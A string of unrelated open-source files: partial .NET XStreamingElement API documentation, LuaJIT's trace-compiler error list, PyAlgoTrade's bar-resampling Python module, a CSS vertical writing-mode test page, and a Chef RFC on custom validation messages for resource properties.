<MemberSignature Language="ILAsm" Value=".method public hidebysig specialname rtspecialname instance void .ctor(class System.Xml.Linq.XName name) cil managed" /> <MemberType>Constructor</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <Parameters> <Parameter Name="name" Type="System.Xml.Linq.XName" /> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>This constructor creates a streaming element with no content and no attributes.</para> <para>There is an implicit conversion from string to <see cref="T:System.Xml.Linq.XName" />. Typical use of this constructor is to specify a string as the parameter instead of creating a new <see cref="T:System.Xml.Linq.XName" />.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Initializes a new instance of the <see cref="T:System.Xml.Linq.XElement" /> class from the specified <see cref="T:System.Xml.Linq.XName" />.</para> </summary> <param name="name"> <attribution license="cc4" from="Microsoft" modified="false" />An <see cref="T:System.Xml.Linq.XName" /> that contains the name of the element.</param> </Docs> </Member> <Member MemberName=".ctor"> <MemberSignature Language="C#" Value="public XStreamingElement (System.Xml.Linq.XName name, object content);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig specialname rtspecialname instance void .ctor(class System.Xml.Linq.XName name, object content) cil managed" /> <MemberType>Constructor</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <Parameters> <Parameter Name="name" Type="System.Xml.Linq.XName" /> <Parameter Name="content" Type="System.Object" /> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>This constructor creates a streaming element with the specified content and attributes.</para> <para>There is an implicit conversion from string to <see cref="T:System.Xml.Linq.XName" />. Typical use of this constructor is to specify a string as the parameter instead of creating a new <see cref="T:System.Xml.Linq.XName" />.</para> <para>Queries are not iterated until the <see cref="T:System.Xml.Linq.XStreamingElement" /> is serialized. This is in contrast to using queries for content for an <see cref="T:System.Xml.Linq.XElement" />, where queries are iterated at the time of construction of the new <see cref="T:System.Xml.Linq.XElement" />.</para> <para>For details about the valid content that can be passed to this constructor, see <format type="text/html"><a href="aee2d319-5c5f-4b99-9bb4-2f58232577ae">Valid Content of XElement and XDocument Objects</a></format>.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Initializes a new instance of the <see cref="T:System.Xml.Linq.XStreamingElement" /> class with the specified name and content.</para> </summary> <param name="name"> <attribution license="cc4" from="Microsoft" modified="false" />An <see cref="T:System.Xml.Linq.XName" /> that contains the element name.</param> <param name="content"> <attribution license="cc4" from="Microsoft" modified="false" />The contents of the element.</param> </Docs> </Member> <Member MemberName=".ctor"> <MemberSignature Language="C#" Value="public XStreamingElement (System.Xml.Linq.XName name, object[] content);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig specialname rtspecialname instance void .ctor(class System.Xml.Linq.XName name, object[] content) cil managed" /> <MemberType>Constructor</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <Parameters> <Parameter Name="name" Type="System.Xml.Linq.XName" /> <Parameter Name="content" Type="System.Object[]"> <Attributes> <Attribute> <AttributeName>System.ParamArray</AttributeName> </Attribute> </Attributes> </Parameter> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>This constructor creates a streaming element with the specified content and attributes.</para> <para>There is an implicit conversion from string to <see cref="T:System.Xml.Linq.XName" />. Typical use of this constructor is to specify a string as the parameter instead of creating a new <see cref="T:System.Xml.Linq.XName" />.</para> <para>Queries are not iterated until the <see cref="T:System.Xml.Linq.XStreamingElement" /> is serialized. This is in contrast to using queries for content for an <see cref="T:System.Xml.Linq.XElement" />, where queries are iterated at the time of construction of the new <see cref="T:System.Xml.Linq.XElement" />.</para> <para>For details about the valid content that can be passed to this function, see <format type="text/html"><a href="aee2d319-5c5f-4b99-9bb4-2f58232577ae">Valid Content of XElement and XDocument Objects</a></format>.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Initializes a new instance of the <see cref="T:System.Xml.Linq.XStreamingElement" /> class with the specified name and content.</para> </summary> <param name="name"> <attribution license="cc4" from="Microsoft" modified="false" />An <see cref="T:System.Xml.Linq.XName" /> that contains the element name.</param> <param name="content"> <attribution license="cc4" from="Microsoft" modified="false" />The contents of the element.</param> </Docs> </Member> <Member MemberName="Add"> <MemberSignature Language="C#" Value="public void Add (object content);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig instance void Add(object content) cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.Void</ReturnType> </ReturnValue> <Parameters> <Parameter Name="content" Type="System.Object" /> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>This constructor adds the specified content and attributes to the <see cref="T:System.Xml.Linq.XStreamingElement" />. While it is often possible to construct the <see cref="T:System.Xml.Linq.XStreamingElement" /> in a single statement, it is sometimes more convenient to add content to the streaming element incrementally.</para> <para>Queries are not iterated until the <see cref="T:System.Xml.Linq.XStreamingElement" /> is serialized. This is in contrast to using queries for content for an <see cref="T:System.Xml.Linq.XElement" />, where queries are iterated at the time of construction of the new <see cref="T:System.Xml.Linq.XElement" />.</para> <para>For details about the valid content that can be passed to this function, see <format type="text/html"><a href="aee2d319-5c5f-4b99-9bb4-2f58232577ae">Valid Content of XElement and XDocument Objects</a></format>.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Adds the specified content as children to this <see cref="T:System.Xml.Linq.XStreamingElement" />.</para> </summary> <param name="content"> <attribution license="cc4" from="Microsoft" modified="false" />Content to be added to the streaming element.</param> </Docs> </Member> <Member MemberName="Add"> <MemberSignature Language="C#" Value="public void Add (object[] content);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig instance void Add(object[] content) cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.Void</ReturnType> </ReturnValue> <Parameters> <Parameter Name="content" Type="System.Object[]"> <Attributes> <Attribute> <AttributeName>System.ParamArray</AttributeName> </Attribute> </Attributes> </Parameter> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>This constructor adds the specified content and attributes to the <see cref="T:System.Xml.Linq.XStreamingElement" />. While it is often possible to construct the <see cref="T:System.Xml.Linq.XStreamingElement" /> in a single statement, it is sometimes more convenient to add content to the streaming element incrementally.</para> <para>Queries are not iterated until the <see cref="T:System.Xml.Linq.XStreamingElement" /> is serialized. This is in contrast to using queries for content for an <see cref="T:System.Xml.Linq.XElement" />, where queries are iterated at the time of construction of the new <see cref="T:System.Xml.Linq.XElement" />.</para> <para>For details about the valid content that can be passed to this function, see <format type="text/html"><a href="aee2d319-5c5f-4b99-9bb4-2f58232577ae">Valid Content of XElement and XDocument Objects</a></format>.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Adds the specified content as children to this <see cref="T:System.Xml.Linq.XStreamingElement" />.</para> </summary> <param name="content"> <attribution license="cc4" from="Microsoft" modified="false" />Content to be added to the streaming element.</param> </Docs> </Member> <Member MemberName="Name"> <MemberSignature Language="C#" Value="public System.Xml.Linq.XName Name { get; set; }" /> <MemberSignature Language="ILAsm" Value=".property instance class System.Xml.Linq.XName Name" /> <MemberType>Property</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.Xml.Linq.XName</ReturnType> </ReturnValue> <Docs> <value>To be added.</value> <remarks>To be added.</remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Gets or sets the name of this streaming element.</para> </summary> </Docs> </Member> <Member MemberName="Save"> <MemberSignature Language="C#" Value="public void Save (System.IO.Stream stream);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig instance void Save(class System.IO.Stream stream) cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.Void</ReturnType> </ReturnValue> <Parameters> <Parameter Name="stream" Type="System.IO.Stream" /> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>The serialized XML will be indented. All insignificant white space will be removed, and additional white space will be added so that the XML will be properly indented. The behavior of this method is that insignificant white space will not be preserved.</para> <para>If you want to control white space, use the overload of <see cref="Overload:System.Xml.Linq.XStreamingElement.Save" /> that takes <see cref="T:System.Xml.Linq.SaveOptions" /> as a parameter. Use the <see cref="F:System.Xml.Linq.SaveOptions.DisableFormatting" /> option to save unindented XML. This will cause the writer to write all white spaces exactly as represented in the XML tree.</para> <para>Use <see cref="F:System.Xml.Linq.SaveOptions.OmitDuplicateNamespaces" /> option if you want to remove duplicate namespace declarations.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Outputs this <see cref="T:System.Xml.Linq.XStreamingElement" /> to the specified <see cref="T:System.IO.Stream" />.</para> </summary> <param name="stream"> <attribution license="cc4" from="Microsoft" modified="false" />The stream to output this <see cref="T:System.Xml.Linq.XDocument" /> to.</param> </Docs> </Member> <Member MemberName="Save"> <MemberSignature Language="C#" Value="public void Save (System.IO.TextWriter textWriter);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig instance void Save(class System.IO.TextWriter textWriter) cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.Void</ReturnType> </ReturnValue> <Parameters> <Parameter Name="textWriter" Type="System.IO.TextWriter" /> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>The serialized XML will be indented. All insignificant white space will be removed, and additional white space will be added so that the XML will be properly indented. The behavior of this method is that insignificant white space nodes in the XML tree will not be preserved.</para> <para>If you want to control white space, use one of the overloads of <see cref="Overload:System.Xml.Linq.XStreamingElement.Save" /> that take <see cref="T:System.Xml.Linq.SaveOptions" /> as a parameter. For more information, see <format type="text/html"><a href="093a7169-a04e-4638-b08c-d1cb98aa650d">Preserving White Space while Loading or Parsing XML</a></format> and <format type="text/html"><a href="fb146217-0a49-4efc-ac84-7265b91d3939">Preserving White Space While Serializing</a></format>.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Serialize this streaming element to a <see cref="T:System.IO.TextWriter" />.</para> </summary> <param name="textWriter"> <attribution license="cc4" from="Microsoft" modified="false" />A <see cref="T:System.IO.TextWriter" /> that the <see cref="T:System.Xml.Linq.XStreamingElement" /> will be written to.</param> </Docs> </Member> <Member MemberName="Save"> <MemberSignature Language="C#" Value="public void Save (string fileName);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig instance void Save(string fileName) cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.Void</ReturnType> </ReturnValue> <Parameters> <Parameter Name="fileName" Type="System.String" /> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>The serialized XML will be indented. All insignificant white space will be removed, and additional white space will be added so that the XML will be properly indented. The behavior of this method is that insignificant white space nodes in the XML tree will not be preserved.</para> <para>If you want to control white space, use one of the overloads of <see cref="Overload:System.Xml.Linq.XStreamingElement.Save" /> that take <see cref="T:System.Xml.Linq.SaveOptions" /> as a parameter. For more information, see <format type="text/html"><a href="093a7169-a04e-4638-b08c-d1cb98aa650d">Preserving White Space while Loading or Parsing XML</a></format> and <format type="text/html"><a href="fb146217-0a49-4efc-ac84-7265b91d3939">Preserving White Space While Serializing</a></format>.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Serialize this streaming element to a file.</para> </summary> <param name="fileName"> <attribution license="cc4" from="Microsoft" modified="false" />A <see cref="T:System.String" /> that contains the name of the file.</param> </Docs> </Member> <Member MemberName="Save"> <MemberSignature Language="C#" Value="public void Save (System.Xml.XmlWriter writer);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig instance void Save(class System.Xml.XmlWriter writer) cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.Void</ReturnType> </ReturnValue> <Parameters> <Parameter Name="writer" Type="System.Xml.XmlWriter" /> </Parameters> <Docs> <remarks>To be added.</remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Serialize this streaming element to an <see cref="T:System.Xml.XmlWriter" />.</para> </summary> <param name="writer"> <attribution license="cc4" from="Microsoft" modified="false" />A <see cref="T:System.Xml.XmlWriter" /> that the <see cref="T:System.Xml.Linq.XElement" /> will be written to.</param> </Docs> </Member> <Member MemberName="Save"> <MemberSignature Language="C#" Value="public void Save (System.IO.Stream stream, System.Xml.Linq.SaveOptions options);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig instance void Save(class System.IO.Stream stream, valuetype System.Xml.Linq.SaveOptions options) cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.Void</ReturnType> </ReturnValue> <Parameters> <Parameter Name="stream" Type="System.IO.Stream" /> <Parameter Name="options" Type="System.Xml.Linq.SaveOptions" /> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>By default the <paramref name="options" /> are set to <see cref="F:System.Xml.Linq.SaveOptions.None" />. This option will remove all extraneous insignificant white space, and add appropriate insignificant white space so that the XML is properly indented. </para> <para>If you want to save unindented XML, specify the <see cref="F:System.Xml.Linq.SaveOptions.DisableFormatting" /> flag for <paramref name="options" />. This will cause the writer to write all white spaces exactly as represented in the XML tree.</para> <para>Use <see cref="F:System.Xml.Linq.SaveOptions.OmitDuplicateNamespaces" /> option if you want to remove duplicate namespace declarations.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Outputs this <see cref="T:System.Xml.Linq.XStreamingElement" /> to the specified <see cref="T:System.IO.Stream" />, optionally specifying formatting behavior.</para> </summary> <param name="stream"> <attribution license="cc4" from="Microsoft" modified="false" />The stream to output this <see cref="T:System.Xml.Linq.XDocument" /> to.</param> <param name="options"> <attribution license="cc4" from="Microsoft" modified="false" />A <see cref="T:System.Xml.Linq.SaveOptions" /> object that specifies formatting behavior.</param> </Docs> </Member> <Member MemberName="Save"> <MemberSignature Language="C#" Value="public void Save (System.IO.TextWriter textWriter, System.Xml.Linq.SaveOptions options);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig instance void Save(class System.IO.TextWriter textWriter, valuetype System.Xml.Linq.SaveOptions options) cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.Void</ReturnType> </ReturnValue> <Parameters> <Parameter Name="textWriter" Type="System.IO.TextWriter" /> <Parameter Name="options" Type="System.Xml.Linq.SaveOptions" /> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>If you want to save unindented XML, specify the <see cref="F:System.Xml.Linq.SaveOptions.DisableFormatting" /> flag for <paramref name="options" />. This will cause the writer to write all white space exactly as represented in the XML tree.</para> <para>If you want to save indented XML, do not specify the <see cref="F:System.Xml.Linq.SaveOptions.DisableFormatting" /> flag for <paramref name="options" />. This will remove all extraneous insignificant white space, and add appropriate insignificant white space so that the XML is properly indented. This is the default behavior, and the behavior of the overloads of the <see cref="Overload:System.Xml.Linq.XElement.Save" /> methods that do not take <paramref name="options" /> as a parameter.</para> <para>For more information, see <format type="text/html"><a href="093a7169-a04e-4638-b08c-d1cb98aa650d">Preserving White Space while Loading or Parsing XML</a></format> and <format type="text/html"><a href="fb146217-0a49-4efc-ac84-7265b91d3939">Preserving White Space While Serializing</a></format>.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Serialize this streaming element to a <see cref="T:System.IO.TextWriter" />, optionally disabling formatting.</para> </summary> <param name="textWriter"> <attribution license="cc4" from="Microsoft" modified="false" />The <see cref="T:System.IO.TextWriter" /> to output the XML to.</param> <param name="options"> <attribution license="cc4" from="Microsoft" modified="false" />A <see cref="T:System.Xml.Linq.SaveOptions" /> that specifies formatting behavior.</param> </Docs> </Member> <Member MemberName="Save"> <MemberSignature Language="C#" Value="public void Save (string fileName, System.Xml.Linq.SaveOptions options);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig instance void Save(string fileName, valuetype System.Xml.Linq.SaveOptions options) cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.Void</ReturnType> </ReturnValue> <Parameters> <Parameter Name="fileName" Type="System.String" /> <Parameter Name="options" Type="System.Xml.Linq.SaveOptions" /> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>If you want to save unindented XML, specify the <see cref="F:System.Xml.Linq.SaveOptions.DisableFormatting" /> flag for <paramref name="options" />. This will cause the writer to write all white space exactly as represented in the XML tree.</para> <para>If you want to save indented XML, do not specify the <see cref="F:System.Xml.Linq.SaveOptions.DisableFormatting" /> flag for <paramref name="options" />. This will remove all extraneous insignificant white space, and add appropriate insignificant white space so that the XML is properly indented. This is the default behavior, and the behavior of the overloads of the <see cref="Overload:System.Xml.Linq.XElement.Save" /> methods that do not take <paramref name="options" /> as a parameter.</para> <para>For more information, see <format type="text/html"><a href="093a7169-a04e-4638-b08c-d1cb98aa650d">Preserving White Space while Loading or Parsing XML</a></format> and <format type="text/html"><a href="fb146217-0a49-4efc-ac84-7265b91d3939">Preserving White Space While Serializing</a></format>.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Serialize this streaming element to a file, optionally disabling formatting.</para> </summary> <param name="fileName"> <attribution license="cc4" from="Microsoft" modified="false" />A <see cref="T:System.String" /> that contains the name of the file.</param> <param name="options"> <attribution license="cc4" from="Microsoft" modified="false" />A <see cref="T:System.Xml.Linq.SaveOptions" /> object that specifies formatting behavior.</param> </Docs> </Member> <Member MemberName="ToString"> <MemberSignature Language="C#" Value="public override string ToString ();" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig virtual instance string ToString() cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.String</ReturnType> </ReturnValue> <Parameters /> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Note that when debugging a program that uses <see cref="T:System.Xml.Linq.XStreamingElement" />, displaying the value of an object causes its <see cref="Overload:System.Xml.Linq.XStreamingElement.ToString" /> method to be called. This causes the XML to be serialized. If the semantics of your streaming element query are such that the streaming element can only be streamed once, this may cause undesirable behavior in your debugging experience.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Returns the formatted (indented) XML for this streaming element.</para> </summary> <returns> <attribution license="cc4" from="Microsoft" modified="false" /> <para>A <see cref="T:System.String" /> containing the indented XML.</para> </returns> </Docs> </Member> <Member MemberName="ToString"> <MemberSignature Language="C#" Value="public string ToString (System.Xml.Linq.SaveOptions options);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig instance string ToString(valuetype System.Xml.Linq.SaveOptions options) cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.String</ReturnType> </ReturnValue> <Parameters> <Parameter Name="options" Type="System.Xml.Linq.SaveOptions" /> </Parameters> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Note that when debugging a program that uses <see cref="T:System.Xml.Linq.XStreamingElement" />, displaying the value of an object causes its <see cref="Overload:System.Xml.Linq.XStreamingElement.ToString" /> method to be called. This causes the XML to be serialized. If the semantics of your streaming element query are such that the streaming element can only be streamed once, this may cause undesirable behavior in your debugging experience.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Returns the XML for this streaming element, optionally disabling formatting.</para> </summary> <returns> <attribution license="cc4" from="Microsoft" modified="false" /> <para>A <see cref="T:System.String" /> containing the XML.</para> </returns> <param name="options"> <attribution license="cc4" from="Microsoft" modified="false" />A <see cref="T:System.Xml.Linq.SaveOptions" /> that specifies formatting behavior.</param> </Docs> </Member> <Member MemberName="WriteTo"> <MemberSignature Language="C#" Value="public void WriteTo (System.Xml.XmlWriter writer);" /> <MemberSignature Language="ILAsm" Value=".method public hidebysig instance void WriteTo(class System.Xml.XmlWriter writer) cil managed" /> <MemberType>Method</MemberType> <AssemblyInfo> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <ReturnValue> <ReturnType>System.Void</ReturnType> </ReturnValue> <Parameters> <Parameter Name="writer" Type="System.Xml.XmlWriter" /> </Parameters> <Docs> <remarks>To be added.</remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Writes this streaming element to an <see cref="T:System.Xml.XmlWriter" />.</para> </summary> <param name="writer"> <attribution license="cc4" from="Microsoft" modified="false" />An <see cref="T:System.Xml.XmlWriter" /> into which this method will write.</param> </Docs> </Member> </Members> </Type>
{ "pile_set_name": "Github" }
/* ** Trace compiler error messages. ** Copyright (C) 2005-2013 Mike Pall. See Copyright Notice in luajit.h */ /* This file may be included multiple times with different TREDEF macros. */ /* Recording. */ TREDEF(RECERR, "error thrown or hook called during recording") TREDEF(TRACEOV, "trace too long") TREDEF(STACKOV, "trace too deep") TREDEF(SNAPOV, "too many snapshots") TREDEF(BLACKL, "blacklisted") TREDEF(NYIBC, "NYI: bytecode %d") /* Recording loop ops. */ TREDEF(LLEAVE, "leaving loop in root trace") TREDEF(LINNER, "inner loop in root trace") TREDEF(LUNROLL, "loop unroll limit reached") /* Recording calls/returns. */ TREDEF(BADTYPE, "bad argument type") TREDEF(CJITOFF, "call to JIT-disabled function") TREDEF(CUNROLL, "call unroll limit reached") TREDEF(DOWNREC, "down-recursion, restarting") TREDEF(NYICF, "NYI: C function %p") TREDEF(NYIFF, "NYI: FastFunc %s") TREDEF(NYIFFU, "NYI: unsupported variant of FastFunc %s") TREDEF(NYIRETL, "NYI: return to lower frame") /* Recording indexed load/store. */ TREDEF(STORENN, "store with nil or NaN key") TREDEF(NOMM, "missing metamethod") TREDEF(IDXLOOP, "looping index lookup") TREDEF(NYITMIX, "NYI: mixed sparse/dense table") /* Recording C data operations. */ TREDEF(NOCACHE, "symbol not in cache") TREDEF(NYICONV, "NYI: unsupported C type conversion") TREDEF(NYICALL, "NYI: unsupported C function type") /* Optimizations. */ TREDEF(GFAIL, "guard would always fail") TREDEF(PHIOV, "too many PHIs") TREDEF(TYPEINS, "persistent type instability") /* Assembler. */ TREDEF(MCODEAL, "failed to allocate mcode memory") TREDEF(MCODEOV, "machine code too long") TREDEF(MCODELM, "hit mcode limit (retrying)") TREDEF(SPILLOV, "too many spill slots") TREDEF(BADRA, "inconsistent register allocation") TREDEF(NYIIR, "NYI: cannot assemble IR instruction %d") TREDEF(NYIPHI, "NYI: PHI shuffling too complex") TREDEF(NYICOAL, "NYI: register coalescing too complex") #undef TREDEF /* Detecting unused error messages: awk -F, '/^TREDEF/ { gsub(/TREDEF./, ""); printf "grep -q LJ_TRERR_%s *.[ch] || echo %s\n", $1, $1}' lj_traceerr.h | sh */
{ "pile_set_name": "Github" }
# PyAlgoTrade # # Copyright 2011-2015 Gabriel Martin Becedillas Ruiz # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import abc from pyalgotrade import dataseries from pyalgotrade.dataseries import bards from pyalgotrade import bar from pyalgotrade import resamplebase class AggFunGrouper(resamplebase.Grouper): def __init__(self, groupDateTime, value, aggfun): super(AggFunGrouper, self).__init__(groupDateTime) self.__values = [value] self.__aggfun = aggfun def addValue(self, value): self.__values.append(value) def getGrouped(self): return self.__aggfun(self.__values) class BarGrouper(resamplebase.Grouper): def __init__(self, groupDateTime, bar_, frequency): super(BarGrouper, self).__init__(groupDateTime) self.__open = bar_.getOpen() self.__high = bar_.getHigh() self.__low = bar_.getLow() self.__close = bar_.getClose() self.__volume = bar_.getVolume() self.__adjClose = bar_.getAdjClose() self.__useAdjValue = bar_.getUseAdjValue() self.__frequency = frequency def addValue(self, value): self.__high = max(self.__high, value.getHigh()) self.__low = min(self.__low, value.getLow()) self.__close = value.getClose() self.__adjClose = value.getAdjClose() self.__volume += value.getVolume() def getGrouped(self): """Return the grouped value.""" ret = bar.BasicBar( self.getDateTime(), self.__open, self.__high, self.__low, self.__close, self.__volume, self.__adjClose, self.__frequency ) ret.setUseAdjustedValue(self.__useAdjValue) return ret class DSResampler(object): __metaclass__ = abc.ABCMeta def initDSResampler(self, dataSeries, frequency): if not resamplebase.is_valid_frequency(frequency): raise Exception("Unsupported frequency") self.__frequency = frequency self.__grouper = None self.__range = None dataSeries.getNewValueEvent().subscribe(self.__onNewValue) @abc.abstractmethod def buildGrouper(self, range_, value, frequency): raise NotImplementedError() def __onNewValue(self, dataSeries, dateTime, value): if self.__range is None: self.__range = resamplebase.build_range(dateTime, self.__frequency) self.__grouper = self.buildGrouper(self.__range, value, self.__frequency) elif self.__range.belongs(dateTime): self.__grouper.addValue(value) else: self.appendWithDateTime(self.__grouper.getDateTime(), self.__grouper.getGrouped()) self.__range = resamplebase.build_range(dateTime, self.__frequency) self.__grouper = self.buildGrouper(self.__range, value, self.__frequency) def pushLast(self): if self.__grouper is not None: self.appendWithDateTime(self.__grouper.getDateTime(), self.__grouper.getGrouped()) self.__grouper = None self.__range = None def checkNow(self, dateTime): if self.__range is not None and not self.__range.belongs(dateTime): self.appendWithDateTime(self.__grouper.getDateTime(), self.__grouper.getGrouped()) self.__grouper = None self.__range = None class ResampledBarDataSeries(bards.BarDataSeries, DSResampler): """A BarDataSeries that will build on top of another, higher frequency, BarDataSeries. Resampling will take place as new values get pushed into the dataseries being resampled. :param dataSeries: The DataSeries instance being resampled. :type dataSeries: :class:`pyalgotrade.dataseries.bards.BarDataSeries` :param frequency: The grouping frequency in seconds. Must be > 0. :param maxLen: The maximum number of values to hold. Once a bounded length is full, when new items are added, a corresponding number of items are discarded from the opposite end. :type maxLen: int. .. note:: * Supported resampling frequencies are: * Less than bar.Frequency.DAY * bar.Frequency.DAY * bar.Frequency.MONTH """ def __init__(self, dataSeries, frequency, maxLen=None): if not isinstance(dataSeries, bards.BarDataSeries): raise Exception("dataSeries must be a dataseries.bards.BarDataSeries instance") super(ResampledBarDataSeries, self).__init__(maxLen) self.initDSResampler(dataSeries, frequency) def checkNow(self, dateTime): """Forces a resample check. Depending on the resample frequency, and the current datetime, a new value may be generated. :param dateTime: The current datetime. :type dateTime: :class:`datetime.datetime` """ return super(ResampledBarDataSeries, self).checkNow(dateTime) def buildGrouper(self, range_, value, frequency): return BarGrouper(range_.getBeginning(), value, frequency) class ResampledDataSeries(dataseries.SequenceDataSeries, DSResampler): def __init__(self, dataSeries, frequency, aggfun, maxLen=None): super(ResampledDataSeries, self).__init__(maxLen) self.initDSResampler(dataSeries, frequency) self.__aggfun = aggfun def buildGrouper(self, range_, value, frequency): return AggFunGrouper(range_.getBeginning(), value, self.__aggfun)
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>CSS Writing Modes Test: absolutely positioned non-replaced element - 'direction: ltr' and 'top', 'height' and 'bottom' are 'auto'</title> <link type="text/css" rel="stylesheet" href="support/ahem.css" /> <style type="text/css"><![CDATA[ html { -ah-writing-mode: vertical-rl; -webkit-writing-mode: vertical-rl; writing-mode: tb-rl; /* IE11 */ writing-mode: vertical-rl; } div#containing-block { -ah-writing-mode: initial; -webkit-writing-mode: initial; writing-mode: initial; direction: ltr; color: transparent; font: 80px/1 Ahem; height: 320px; position: relative; width: 320px; } div#containing-block > span { background-color: red; color: green; position: absolute; left: 2em; top: 2em; } ]]></style> </head> <body> <p><img src="support/pass-cdts-abs-pos-non-replaced.png" width="246" height="36" alt="Image download support must be enabled" /></p> <div id="containing-block">1 2 34<span>X</span></div> </body> </html>
{ "pile_set_name": "Github" }
# Resource Validation Messaging Custom resources provide multiple property validators, allowing authors to control property input beyond just simple data types. Authors can expect strings to match predefined strings, match a regex, or return true from a callback method. This gives the author great control over the input data, but doesn't provide the consumer with much information when the validator fails. This RFC provides the author with the ability to control the error text when the validator fails. ## Motivation As an author of custom resources, I want to control property inputs while providing useful error messaging on failure, so that users can easily understand why input data is not acceptable As a consumer of custom resources, I want detailed errors when I pass incorrect data to a resource, so that I quickly resolve failed chef-client runs. ## Specification This design specifies a `validation_message` option for properties, which accepts a string. This message will be shown on failure in place of a generic failure message. ### Example in resources/example.rb ```ruby property :version, kind_of: String, default: '8.0.35' regex: [/^(?:(\d+)\.)?(?:(\d+)\.)?(\*|\d+)$/] validation_message: 'Version must be a X.Y.Z format String type' ```
{ "pile_set_name": "Github" }
